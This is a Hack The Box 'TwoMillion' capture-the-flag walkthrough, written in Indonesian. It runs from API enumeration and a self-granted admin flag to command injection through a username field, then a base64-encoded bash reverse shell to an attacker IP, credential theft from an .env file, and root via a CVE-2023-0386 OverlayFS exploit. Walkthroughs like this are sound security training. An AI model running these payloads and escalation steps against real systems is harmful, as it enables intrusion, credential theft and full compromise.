Enumeration

Seperti biasa mari kita menjalankan nmap untuk mengescan service berikut ini

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ nmap -sCV 10.10.11.221
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-29 16:06 MSK
Nmap scan report for 2million.htb (10.10.11.221)
Host is up (0.78s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open  http    nginx
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Hack The Box :: Penetration Testing Labs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.64 seconds

Hasil scan dari nmap menunjukkan kalau port 22 and 80 terbuka, mari kita buka browser kita untuk mengecek apa yang ada di website ini.

Alt text

Mari kita masukkan 2million.htb berikut ke file /etc/hosts kita

Alt text

Kemudian kita buka kembali website dan kita perhatikan kalau ini itu adalah website nya hackthebox yang lama sebelum tahun 2021 dimana kita harus masukkin invite code yang cara ngedapetinnya itu dengan ngesolve task dari file javascript nya hackthebox di bagian signup kemudian masukkin ke invite code diatas.

Kita buka dulu file javascript dari halaman tersebut lewat bagian sources kalau kalian pakai google chrome

eval(function(p, a, c, k, e, d) {
    e = function(c) {
        return c.toString(36)
    }
    ;
    if (!''.replace(/^/, String)) {
        while (c--) {
            d[c.toString(a)] = k[c] || c.toString(a)
        }
        k = [function(e) {
            return d[e]
        }
        ];
        e = function() {
            return '\\w+'
        }
        ;
        c = 1
    }
    ;while (c--) {
        if (k[c]) {
            p = p.replace(new RegExp('\\b' + e(c) + '\\b','g'), k[c])
        }
    }
    return p
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))

Ini adalah file dari inviteapi.min.js yang sepertinya terobsfukasi, mari kita buka javascript deobsfucator contohnya ini https://de4js.kshift.me/ . Kemudian kita bisa dapatkan kode yang lebih jelas dan terbaca

function verifyInviteCode(code) {
    var formData = {
        "code": code
    };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}

Dari sini kita lihat kalau pengecekan invite code kita dihandle oleh fungsi verifyInvideCode, yang menggunakan api /api/v1/invite/verify. Kemudian ada juga fungsi makeInviteCode yang menarik untuk kita karena kita disini masih belum punya invite code. Mari kita coba kirim POST request ke api tersebu untuk menggenerate invite code kita.

/api/v1/invite/how/to/generate

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -X POST http://2million.htb/api/v1/invite/how/to/generate
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}

Hasil dari request menggunakan POST method ke api nya ngasih kita json data, untuk mempercantik format kita bisa ngepipe hasil dari curl ke jq

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -X POST http://2million.htb/api/v1/invite/how/to/generate | jq

{
  "0": 200,
  "success": 1,
  "data": {
    "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
    "enctype": "ROT13"
  },
  "hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}

Sekarang kita bisa lihat kalau respond dari api ini adalah sebuah data yang ter enkripsi rot13. Enkripsi ini cukup mudah dicrack karena pertama enkripsi ini menggunakan kunci yang sama untuk enkripsi dan dekripsi dan kuncinya itu juga hanya sebuah angka yang menunjukkan berapa kali si alphabet harus digeser ke kanan atau ke kiri. Mari kita crack rot13 kita menggunakan tr

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ echo 'Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr' | tr 'A-Za-z' 'N-ZA-Mn-za-m'

In order to generate the invite code, make a POST request to /api/v1/invite/generate

Mengikuti clue dari pesan diatas mari kita kirim post request ke /api/v1/invite/generate

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -X POST http://2million.htb/api/v1/invite/generate | jq

{
  "0": 200,
  "success": 1,
  "data": {
    "code": "UTlGT0ktNVNEWlAtVUREM0gtMDE2UjU=",
    "format": "encoded"
  }
}

Kita dapat invite code yang sepertinya bukan invite code yang final karena kodenya keliatannya di encode menggunakan base64 encoding. Kita decode di terminal kita.

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ echo "UTlGT0ktNVNEWlAtVUREM0gtMDE2UjU=" | base64 -d
Q9FOI-5SDZP-UDD3H-016R5

Disini kita bisa menggunakan invite code kita untuk signup ke website hackthebox lama ini.

Alt text

Registrasi untuk membuat akun kita dan mari kita sign in.

Alt text

Gabanyak pilihan halaman yang bisa kita akses di website ini, karena kebanyakan halaman cuman placeholder. Halaman paling menarik itu halaman akses yang biasa kita pakai untuk nge generate vpn untuk koneksi ke instance nya hackthebox.

Saat mengecek halaman akses kita ada dua pilihan yang pertama itu connection pack untuk menggenerate vpn dan regenerate untuk nge regenerate setting vpn kita tersebut.

Sekarang saat kita hover ke button connection pack kita bisa melihat endpoint ini

http://2million.htb/api/v1/user/vpn/generate

Mari kita coba untuk menggunakan curl untuk kirim get request ke endpoint api ini.

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl http://2million.htb/api/v1/user/vpn/generate --cookie "PHPSESSID=0949iik4qnq469iklsrqavubli" -v
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80 (#0)
> GET /api/v1/user/vpn/generate HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: PHPSESSID=0949iik4qnq469iklsrqavubli
>
< HTTP/1.1 200 OK
< Server: nginx
< Date: Thu, 29 Jun 2023 14:22:18 GMT
< Content-Type: application/octet-stream
< Content-Length: 10824
< Connection: keep-alive
< Content-Description: File Transfer
< Content-Disposition: attachment; filename="adhkr.ovpn"
< Expires: 0
< Cache-Control: must-revalidate
< Pragma: public
<
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
comp-lzo
verb 3
data-ciphers-fallback AES-128-CBC
data-ciphers AES-256-CBC:AES-256-CFB:AES-256-CFB1:AES-256-CFB8:AES-256-OFB:AES-256-GCM
tls-cipher "DEFAULT:@SECLEVEL=0"
auth SHA256
key-direction 1
<ca>
...................

Yang jelas kita lihat kalau api ini memberikan sebuah settingan vpn yang bisa kita pakai untuk akses ke instance nya hackthebox.

Saat mencoba coba api ini, aku nemu kalau kita hanya request ke /api/v1 nantinya api tersebut ngasih tau ke kita list dari endpoints yang bisa kita pakai untuk bekerja dengan api ini.

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -s http://2million.htb/api/v1 --cookie "PHPSESSID=0949iik4qnq469iklsrqavub
li" -v | jq
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80 (#0)
> GET /api/v1 HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: PHPSESSID=0949iik4qnq469iklsrqavubli
>
< HTTP/1.1 200 OK
< Server: nginx
< Date: Thu, 29 Jun 2023 14:27:16 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [812 bytes data]
* Connection #0 to host 2million.htb left intact
{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

Disini kita lihat kalau kita punya endpoint api untuk user dan terpisah untuk admin.

Mari coba untuk generate vpn untuk admin, mungkin dari sini kita bisa mendapatkan foothold.

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -sv -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=0949iik4qnq469iklsrqavubli" -v | jq
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80 (#0)
> POST /api/v1/admin/vpn/generate HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: PHPSESSID=0949iik4qnq469iklsrqavubli
>
< HTTP/1.1 401 Unauthorized
< Server: nginx
< Date: Thu, 29 Jun 2023 15:06:53 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [5 bytes data]
* Connection #0 to host 2million.htb left intact

Kita mendapatkan response unautorized. Mungkin kita harus autentifikasi sebagai terlebih dahulu.

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -sv http://2million.htb/api/v1/admin/auth --cookie "PHPSESSID=0949iik4qnq469iklsrqavubli" | jq
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80 (#0)
> GET /api/v1/admin/auth HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: PHPSESSID=0949iik4qnq469iklsrqavubli
>
< HTTP/1.1 200 OK
< Server: nginx
< Date: Thu, 29 Jun 2023 15:20:26 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [28 bytes data]
* Connection #0 to host 2million.htb left intact
{
  "message": false
}

Benar kita bukan admin, mari kita coba endpoint ketiga kita untuk admin yaitu /api/v1/admin/settings/ menggunakan PUT. Dari sini kita kemungkinan bisa merubah akun kita menjadi admin dan kemudian bisa autentifikasi dan ngedapatkan vpn

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update --co
okie "PHPSESSID=0949iik4qnq469iklsrqavubli" | jq
{
  "status": "danger",
  "message": "Invalid content type."
}

Pesannya bilang invalid content type, karena response nya dalam json mari kita juga mengirim request dalam json. Mari tambahkan header Content-Type: application/json

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=0949iik4qnq469iklsrqavubli" --header "Content-Type: application/json" | jq
{
  "status": "danger",
  "message": "Missing parameter: email"
}

Kita bisa ikutin dengan masukin parameter email ke header kita dalam bentuk json

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -sX PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=0949iik4qnq469iklsrqavubli" --header "Content-Type: application/json" --data '{"email":"[email protected]"}' | jq
{
  "status": "danger",
  "message": "Missing parameter: is_admin"
}

Mari tambahkan key is_admin dan buat menjadi true

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -sX PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=0949iik4qnq469iklsrqavubli" --header "Content-Type: application/json" --data '{"email":"[email protected]", "is_admin":"true"}' | jq
{
  "status": "danger",
  "message": "Variable is_admin needs to be either 0 or 1."
}

Okay mari kita buat jadi 1 sebagai value nya.

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -sX PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=0949iik4qnq469iklsrqavubli" --header "Content-Type: application/json" --data '{"email":"[email protected]", "is_admin":1}' | jq
{
  "id": 13,
  "username": "adhkr",
  "is_admin": 1
}

Kemudian kita cek kembali apakah akun kita sekarang sudah menjadi admin.

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -s http://2million.htb/api/v1/admin/auth --cookie "PHPSESSID=0949iik4qnq469iklsrqavubli" | jq
{
  "message": true
}

Sekarang kita bisa menggunakan endpoint untuk generate vpn untuk admin.

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -sX POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=0949iik4qnq469iklsrqavubli" --header "Content-Type: application/json" | jq
{
  "status": "danger",
  "message": "Missing parameter: username"
}

Mari berikan parameter username

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -sX POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=0949iik4qnq469iklsrqavubli" --header "Content-Type: application/json" --data '{"username":"adhkr"}'

client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
comp-lzo
verb 3
data-ciphers-fallback AES-128-CBC
data-ciphers AES-256-CBC:AES-256-CFB:AES-256-CFB1:AES-256-CFB8:AES-256-OFB:AES-256-GCM
tls-cipher "DEFAULT:@SECLEVEL=0"
auth SHA256
key-direction 1
<ca>
..................

Foothold

Sejauh ini kita bisa generate vpn untuk admin, yang sebenarnya ga tau juga untuk apa nantinya. Tapi setelah kita lihat kembali dari endpoint dari semua api, dalam nge generate vpn untuk user kita hanya butuh method GET, yang artinya tidak mengirim apa apa.

Untuk admin kita menggunakan POST dan mengirim username kita sebagai value dalam bentuk json. Yang artinya bisa kemungkinan ada vulnerability dalam mengirim username, karena di setiap user input artinya ada resiko bahwa input user tersebut bisa merusak jalannya servis kita.

Maka dari itu mari kita coba untuk mengirim sebagai data sebuah teknik command injection menggunakan simbol ; , dalam memisahkan command shell di linux.

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -sX POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=0949iik4qnq469iklsrqavubli" --header "Content-Type: application/json" --data '{"username":"adhkr;whoami;"}'
www-data

Kita berhasil melakukan command injection!, mari kita jalankan reverse shell dan menangkapnya di Kali kita.

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -sX POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=0949iik4qnq469iklsrqavubli" --header "Content-Type: application/json" --data '{"username":"adhkr;bash -i >& /dev/tcp/10.10.16.40/1337 0>&1;"}'

Cara ini ga nge trigger reverse shell kita, sepertinya kita harus mengencode payload nya.

Korban

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ echo "bash -i >& /dev/tcp/10.10.16.40/1337 0>&1" | bas
e64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40MC8xMzM3IDA+JjEK

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ curl -sX POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=0949iik4qnq469iklsrqavubli" --header "Content-Type: application/json" --data '{"username":"adhkr;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40MC8xMzM3IDA+JjEK | base64 -d | bash;"}'

Kali

┌──(adhkr㉿John-Titor)-[~]
└─$ pwncat-cs -p 1337
[19:26:13] Welcome to pwncat 🐈!                 __main__.py:164
[19:31:36] received connection from                   bind.py:84
           10.10.11.221:33054
[19:31:48] 10.10.11.221:33054: registered new     manager.py:957
           host w/ db
(local) pwncat$
(remote) www-data@2million:/var/www/html$

User

Mari kita coba mengecek dari mesin ini untuk ada nya kemungkinan informasi atau akun yang menarik.

Saat mengecek kita lihat kalau ada file environment variable

(remote) www-data@2million:/var/www/html$ ls  -la
total 56
drwxr-xr-x 10 root root 4096 Jun 29 16:30 .
drwxr-xr-x  3 root root 4096 Jun  6 10:22 ..
-rw-r--r--  1 root root   87 Jun  2 18:56 .env
-rw-r--r--  1 root root 1237 Jun  2 16:15 Database.php
-rw-r--r--  1 root root 2787 Jun  2 16:15 Router.php
drwxr-xr-x  5 root root 4096 Jun 29 16:30 VPN
drwxr-xr-x  2 root root 4096 Jun  6 10:22 assets
drwxr-xr-x  2 root root 4096 Jun  6 10:22 controllers
drwxr-xr-x  5 root root 4096 Jun  6 10:22 css
drwxr-xr-x  2 root root 4096 Jun  6 10:22 fonts
drwxr-xr-x  2 root root 4096 Jun  6 10:22 images
-rw-r--r--  1 root root 2692 Jun  2 18:57 index.php
drwxr-xr-x  3 root root 4096 Jun  6 10:22 js
drwxr-xr-x  2 root root 4096 Jun  6 10:22 views

Mari kita cek isinya.

(remote) www-data@2million:/var/www/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuper*Redacted*

Kemudian kita pakai akun berikut untuk masuk ke ssh kita.

┌──(adhkr㉿John-Titor)-[~/Hackthebox/twomillion]
└─$ ssh [email protected]
The authenticity of host '10.10.11.221 (10.10.11.221)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.221' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)

admin@2million:~$ ls 
user.txt

Kita berhasil mendapatkan flag user.

Root

Mari kita menjalankan linpeas.sh

admin@2million:/tmp$ ./linpeas.sh


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------\
    | Do you like PEASS?                                                          |
    | --------------------------------------------------------------------------- |
    | Become a Patreon    :     https://www.patreon.com/peass                     |
    | Follow on Twitter   :     @carlospolopm                                     |
    | Respect on HTB      :     SirBroccoli                                       |
    |                                                                             |
    | --------------------------------------------------------------------------- |
    | Thank you!                                                                  |
    \---------------------------------------------------------------------------/
          linpeas-ng by carlospolop

ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.

Linux Privesc Checklist: https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
 LEGEND:
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
  LightMagenta: Your username

 Starting linpeas. Caching Writable Folders...
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/admin
/run/lock
/run/screen
/run/user/1000
/run/user/1000/dbus-1
/run/user/1000/dbus-1/services
/run/user/1000/gnupg
/run/user/1000/systemd
/run/user/1000/systemd/generator.late
/run/user/1000/systemd/generator.late/[email protected]
/run/user/1000/systemd/generator.late/xdg-desktop-autostart.target.wants
/run/user/1000/systemd/inaccessible
/run/user/1000/systemd/inaccessible/dir
/run/user/1000/systemd/inaccessible/reg
/run/user/1000/systemd/transient
/run/user/1000/systemd/units
/snap/core20/1891/run/lock
/snap/core20/1891/tmp
/snap/core20/1891/var/tmp
/tmp
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/linpeas.sh
/tmp/.Test-unix
/tmp/tmux-1000
#)You_can_write_even_more_files_inside_last_directory

/var/crash
/var/lib/php/sessions
/var/mail/admin

Kita lihat ada beberapa file yang menarik yang bisa buka. Singkat cerita kita buka /var/mail/admin

admin@2million:/tmp$ cat /var/mail/admin
From: ch4p <[email protected]b>
To: admin <[email protected]b>
Cc: g0blin <[email protected]b>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <[email protected]b>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

Berdasarkan email diatas sepertinya mesin hackthebox kita ini punya vulnerability OverlayFS / FUSE.

Setelah mencari di google kita ketemu CVE ini dan exploit nya di github

https://github.com/xkaneiki/CVE-2023-0386/tree/main

Kemudian kita upload ke mesin korban, kemudian kita unzip dan compile dengan menggunakan make all.

admin@2million:/tmp$ unzip main.zip
Archive:  main.zip
c4c65cefca1365c807c397e953d048506f3de195
   creating: CVE-2023-0386-main/
  inflating: CVE-2023-0386-main/Makefile
  inflating: CVE-2023-0386-main/README.md
  inflating: CVE-2023-0386-main/exp.c
  inflating: CVE-2023-0386-main/fuse.c
  inflating: CVE-2023-0386-main/getshell.c
   creating: CVE-2023-0386-main/ovlcap/
 extracting: CVE-2023-0386-main/ovlcap/.gitkeep
   creating: CVE-2023-0386-main/test/
  inflating: CVE-2023-0386-main/test/fuse_test.c
  inflating: CVE-2023-0386-main/test/mnt
  inflating: CVE-2023-0386-main/test/mnt.c
admin@2million:/tmp/CVE-2023-0386-main$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
gcc -o exp exp.c -lcap
gcc -o gc getshell.c

Kemudian kita bisa menjalankan exploit ini dengan pertama menjalankan binary fuse, ovlcap dan gc di background dan setelah itu jalankan binary exp untuk meng exploit.

admin@2million:/tmp/CVE-2023-0386-main$ ./fuse ./ovlcap/lower ./gc &
[1] 22800
[+] len of gc: 0x3ee0
admin@2million:/tmp/CVE-2023-0386-main$ ./exp
uid:1000 gid:1000
[+] mount success
[+] readdir
[+] getattr_callback
/file
total 8
drwxrwxr-x 1 root   root     4096 Jun 29 17:38 .
drwxrwxr-x 6 root   root     4096 Jun 29 17:38 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:/tmp/CVE-2023-0386-main# whoami
root
root@2million:/tmp/CVE-2023-0386-main#